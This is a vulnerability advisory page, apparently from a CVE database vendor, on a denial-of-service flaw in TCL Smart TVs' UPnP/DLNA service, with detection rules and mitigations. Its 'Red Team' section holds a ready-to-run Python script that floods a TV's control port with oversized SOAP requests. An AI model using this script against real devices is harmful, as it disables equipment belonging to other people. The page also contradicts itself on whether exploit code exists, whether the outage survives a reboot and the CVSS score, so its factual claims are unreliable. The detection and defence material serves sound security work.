CVE-2025-55972
Executive Summary
CVE-2025-55972 describes a critical Denial of Service (DoS) vulnerability in TCL Smart TVs running a vulnerable UPnP/DLNA MediaRenderer implementation. An unauthenticated, remote attacker can exploit this flaw by flooding the UPnP control endpoint with malformed or oversized SetAVTransportURI SOAP requests. This causes the device to become completely unresponsive, affecting all TV operations. The denial persists as long as the attack continues, and manual user control or reboots do not restore functionality until the flood stops. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score: 7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attack is straightforward.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The device becomes completely unavailable.
Threat Level: High. The attack is easy to execute, requires no authentication, and results in a complete denial of service that persists even after a reboot.
Deep Dive & Mechanics
The vulnerability resides in the UPnP/DLNA MediaRenderer service running on TCL Smart TVs. The service exposes a SOAP-based control endpoint that handles SetAVTransportURI requests. This endpoint is used to set the URI of the media to be played.
The flaw is a classic resource exhaustion issue (CWE-400). When the endpoint receives a flood of malformed or oversized SetAVTransportURI SOAP requests, the device's processing resources (CPU, memory, or network stack) are overwhelmed. The malformed requests may cause parsing errors that lead to infinite loops or memory allocation failures, while oversized requests can exhaust available memory.
The attack does not require any authentication because the UPnP service is typically exposed on the local network without access controls. The denial of service persists as long as the attack continues because the device cannot recover from the resource exhaustion state. Even a reboot does not help if the attack is still active, as the service will immediately be overwhelmed again upon restart.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, the vulnerable implementation likely lacks proper input validation and rate limiting. A patched version would need to:
- Validate the size and structure of incoming SOAP requests.
- Implement rate limiting to prevent flooding.
- Use resource quotas to prevent exhaustion.
- Gracefully handle malformed requests without crashing.
Vulnerable Code (Conceptual):
def handle_SetAVTransportURI(soap_request):
uri = parse_uri(soap_request)
# No size check, no rate limiting
process_uri(uri)
Patched Code (Conceptual):
def handle_SetAVTransportURI(soap_request):
if len(soap_request) > MAX_REQUEST_SIZE:
return "HTTP 413 Request Entity Too Large"
if not rate_limiter.allow():
return "HTTP 429 Too Many Requests"
uri = parse_uri(soap_request)
if not is_valid_uri(uri):
return "HTTP 400 Bad Request"
process_uri(uri)
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Setup:
- Target: A TCL Smart TV with UPnP/DLNA enabled on the local network.
- Attacker Machine: Kali Linux or any system with Python and Scapy.
- Network: Both devices on the same subnet.
Exploitation Steps:
- Identify the TV's IP address (e.g.,
192.168.1.100). - Use a script to send a flood of malformed
SetAVTransportURISOAP requests.
Exploit Script (Python):
import socket
import time
target_ip = "192.168.1.100"
target_port = 5000 # Common UPnP control port
soap_payload = """<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID>
<CurrentURI>http://malicious/oversized_uri_here</CurrentURI>
<CurrentURIMetaData></CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>"""
# Oversized URI to cause resource exhaustion
oversized_uri = "A" * 1000000 # 1 MB URI
soap_payload = soap_payload.replace("oversized_uri_here", oversized_uri)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
while True:
sock.send(soap_payload.encode())
time.sleep(0.01) # Flood rate
Expected Outcome: The TV becomes unresponsive. Remote control, physical buttons, and even reboots do not restore functionality until the script is stopped.
Blue Team (Defense & Detection)
Detection:
- Monitor for a high volume of
SetAVTransportURISOAP requests from a single source. - Look for oversized SOAP payloads exceeding normal size limits.
- Use network flow analysis to detect anomalous traffic patterns.
Mitigation:
- Implement network segmentation to isolate IoT devices like smart TVs.
- Use a firewall or IDS/IPS to rate-limit UPnP traffic.
- Disable UPnP/DLNA services if not needed.
- Apply vendor patches when available.
Indicators of Compromise (IOCs)
- Network Traffic:
- High volume of SOAP requests to port 5000 (or other UPnP control ports).
- SOAP payloads with
SetAVTransportURIcontaining excessively long URIs. - Repeated HTTP POST requests to
/upnp/control/AVTransport1.
- System Behavior:
- TV becomes unresponsive to remote and physical controls.
- No response to ping or other network probes.
- Device does not recover after reboot if attack continues.
Detection Engineering
YARA Rule
rule CVE_2025_55972_UPnP_DoS {
meta:
description = "Detects malformed or oversized SetAVTransportURI SOAP requests targeting TCL Smart TVs"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-55972"
strings:
$soap_action = "SetAVTransportURI"
$soap_body = "<u:SetAVTransportURI"
$uri_field = "<CurrentURI>"
$large_uri = /<CurrentURI>[A-Za-z0-9\/:._-]{1000,}<\/CurrentURI>/
condition:
$soap_action and $soap_body and $uri_field and #large_uri > 5
}
Sigma Rule
title: CVE-2025-55972 - TCL Smart TV UPnP DoS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects a flood of oversized SetAVTransportURI SOAP requests
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 3000001
condition: selection
fields:
- src_ip
- dest_ip
- dest_port
falsepositives:
- Legitimate media streaming with large URIs (unlikely)
level: high
Suricata Rule
alert tcp any any -> $HOME_NET 5000 (msg:"CVE-2025-55972 - TCL Smart TV UPnP DoS - Oversized SetAVTransportURI"; flow:to_server,established; content:"POST"; http_method; content:"/upnp/control/AVTransport1"; http_uri; content:"SetAVTransportURI"; within:100; content:"<CurrentURI>"; distance:0; pcre:"/<CurrentURI>[A-Za-z0-9\/:._-]{1000,}<\/CurrentURI>/"; threshold:type both, track by_src, count 10, seconds 1; sid:3000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable UPnP/DLNA: If not required, disable the UPnP/DLNA service on the TV via settings.
- Network Segmentation: Place the TV on a separate VLAN with strict firewall rules.
- Rate Limiting: Configure network devices to rate-limit UPnP traffic to the TV.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from TCL that implements input validation and rate limiting.
- Workaround: If patching is not possible, consider using a firewall to block external access to the TV's UPnP ports.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Monitor network logs for anomalous UPnP traffic.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.